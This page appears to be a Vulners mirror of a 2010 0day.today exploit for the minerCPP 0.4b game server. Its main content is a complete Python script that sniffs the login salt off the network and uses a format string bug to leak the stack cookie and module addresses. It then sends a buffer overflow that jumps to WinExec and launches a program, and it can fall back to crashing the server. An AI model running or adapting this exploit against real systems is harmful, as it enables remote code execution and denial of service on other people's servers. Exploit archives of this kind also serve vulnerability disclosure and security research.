Lucene search
K

minerCPP 0.4b Remote BOF+Format String Attack Exploit

🗓️ 06 Jul 2010 00:00:00Reported by l3DType 
zdt
 zdt
🔗 0day.today👁 15 Views

Remote BOF+Format String Attack in minerCPP 0.4

Code
=====================================================
minerCPP 0.4b Remote BOF+Format String Attack Exploit
=====================================================


#!/usr/bin/env python
#minerCPP 0.4b Remote BOF+Format String Attack Exploit
#Software Link: http://sourceforge.net/projects/minercpp/
#Author: l3D
#Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
#IRC: irc://irc.nix.co.il
#Email: [email protected]
#Tested on Windows 7
 
#In order to make this exploit work you should sniff the salt first.
#It's sent by the software to www.minecraft.net
#You can find it in the POST data (salt=12345 for instance).
#I added a part that sniffs it automatically using pcapy.
#Furthermore, in a real attack it can be simply brute
#forced (it's only rand()). I didn't add this part in
#order to prevent abusing.
 
#The EAX can be influenced and the stack too.
#However, there is a stack cookie that
#prevents us to jump into our overwritten RET.
#There are no SEH nor vtable overwritings.
 
#So what can we do?...
#I found a format string attack vulnerability
#which lets us calculate the master cookie
#and get the ESP of the current thread.
#Unfortunately, the BOF is in another
#thread, so the ESP we've got may not match
#the ESP we need, what makes this exploit unstable.
 
#Code execution worked to me 10 out of 50 times.
 
from socket import *
from time import sleep
import pcapy, hashlib, re, struct, os, sys
 
print 'minerCPP 0.4b Remote BOF+Format String Attack by l3D ([email protected])\n'
 
if len(sys.argv) < 3:
    print 'Usage: python %s <host> <port> [salt]' % sys.argv[0]
    print 'If salt is not specified, the exploit sniffs it automatically.'
 
if len(sys.argv) > 3:
    salt=sys.argv[3]
else:
    dev=pcapy.lookupdev()
    cap=pcapy.open_live(dev, 1024, False, 0)
    cap.setfilter("dst 69.175.14.242 and dst port 80")
    data=cap.next()[1]
    while 1:
        salt=re.findall(r'salt=(\d+)', data)
        if salt:
            salt=salt[0]
            break
        data=cap.next()[1]
 
host=sys.argv[1]
port=int(sys.argv[2])
 
exp=re.compile(r'0X([0-9A-F]+)')
 
def md5_calc(input):
    o=hashlib.md5(input)
    output=o.hexdigest()
    del o
    return output
 
def pack_login(nick, x):
    login='\x00\x07'
    if x:
        nick_hash=md5_calc(salt+nick)
        nick=nick.ljust(64)
        return login+nick+nick_hash
    else:
        return login+nick+'\x20'
 
def pack_msg(nick, x):
    msg='\x0d\x7e'
    if x:
        content='/pinfo %s ' % nick
        content=content.ljust(64, 'A')
    else:
        content='/pinfo '+nick
        content=content.ljust(64)
    return msg+content
 
def send_and_run(packet):
    sock=socket(AF_INET, SOCK_STREAM)
    sock.connect((host, port))
    sock.send(packet)
    sleep(1)
    sock.close()
    del sock
 
sleep(2)
 
##############################################################################################
 
print '[1] Stage 1: Cookie and KERNELBASE.dll ImageBase Getting'
nick='%s.%#X.%#X'
trys=0
packet=pack_msg(nick, True)
 
try:
    sock=socket(AF_INET, SOCK_STREAM)
    sock.connect((host, port))
    sock.send(pack_login(nick, True))
except:
    exit('[-] ERROR: Sockets error.')
 
data=sock.recv(2048)
while data:
    if data[0]=='\x00':
        print '[+] Logged in successfuly!'
        sock.send(packet)
    if data[0]=='\x0e':
        sock.close()
        exit('[-] ERROR: Wrong salt.')
    if data.startswith('\x0d\x00&e') and ' is a &7' in data:
        print '[+] Data has been recieved!'
        nums=[int(i, 16) for i in exp.findall(data[4:])]
        if nums:
            data=data[4:data.find('.0X')]
            if len(data)<8:
                if trys < 20:
                    print '[!] Data is too short, trying again...'
                    trys+=1
                    sleep(1)
                    sock.send(packet)
                else:
                    print '[-] ERROR: Too much trys. DoSing...'
                    sock.close()
                    sleep(1)
                    send_and_run(pack_login('A'*128, False))
                    exit()
            else:
                esp=nums[1]-0xf0
                kernelbase, xored_esp=struct.unpack('2L', data)
                cookie=xored_esp^esp
                kernelbase-=0x1671
                print '[+] Stage 1 completed.'
                break
        else:
            sock.close()
            exit('[-] ERROR: addresses couldn\'t be found.')
    data=sock.recv(2048)
 
sock.close()
del sock
print
sleep(2)
 
##############################################################################################
 
print '[2] Stage 2: minerCPP.exe and kernel32.dll ImageBases Getting'
nick='%#X.%#X.%s'
packet=pack_msg(nick, False)
 
try:
    sock=socket(AF_INET, SOCK_STREAM)
    sock.connect((host, port))
    sock.send(pack_login(nick, True))
except:
    exit('[-] ERROR: Sockets error.')
 
data=sock.recv(2048)
while data:
    if data[0]=='\x00':
        print '[+] Logged in successfuly!'
        sock.send(packet)
    if data.startswith('\x0d\x00&e') and ' is a &7' in data:
        print '[+] Data has been recieved!'
        data=data[4:data.find(' is a &7')]
        data=exp.sub('', data, 2)[2:10]
        if len(data)==7:
            data+='\0'
        if len(data) < 8:
            sock.close()
            exit('[-] Data is too short, it can be because one of the adresses contains nullbyte...')
        else:
            kernel32, minerCPP=struct.unpack('2L', data)
            kernel32-=0x4ef88
            minerCPP-=0x5621
            print '[+] Stage 2 completed.'
            break
    data=sock.recv(2048)
 
sock.close()
del sock
print
 
##############################################################################################
 
print '[~] Analyzed data:'
print '[+] ESP: 0x%08x' % esp
print '[+] Cookie: 0x%08x' % cookie
print '[+] KERNELBASE.dll: 0x%08x' % kernelbase
print '[+] kernel32.dll: 0x%08x' % kernel32
print '[+] minerCPP.exe: 0x%08x' % minerCPP
print
sleep(2)
 
##############################################################################################
 
print '[3] Stage 3: Buffer Overflow'
 
esp+=0x50
winexec=struct.pack('L', kernel32+0x8e76d)
exitprocess=struct.pack('L', kernel32+0x52aef)
calc=struct.pack('L', esp+0x98)
 
junk='A'*(64-len(salt))
xored_esp=struct.pack('L', esp^cookie)
ret=winexec #jump to WinExec @ kernel32.dll
ret+='JUNK'
ret+='\x10\x01\x01\x10' #readable address @ zlib1.dll
ret+=exitprocess #jump to ExitProcess @ kernel32.dll
ret+=calc #the place of the string in the stack
ret+='\x01\xFF\xFF\xFF'
ret+='JUNK'
ret+='\xFF\xFF\xFF\xFF' #exit code -1
ret+='calc' #a program to execute
 
packet=pack_login(junk+xored_esp+ret, False)
 
send_and_run(packet)
print '[+] Packet has been sent. The server should be DoSed or a code should be executed.'



#  0day.today [2018-02-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2010 00:00Current
7.1High risk
Vulners AI Score7.1
15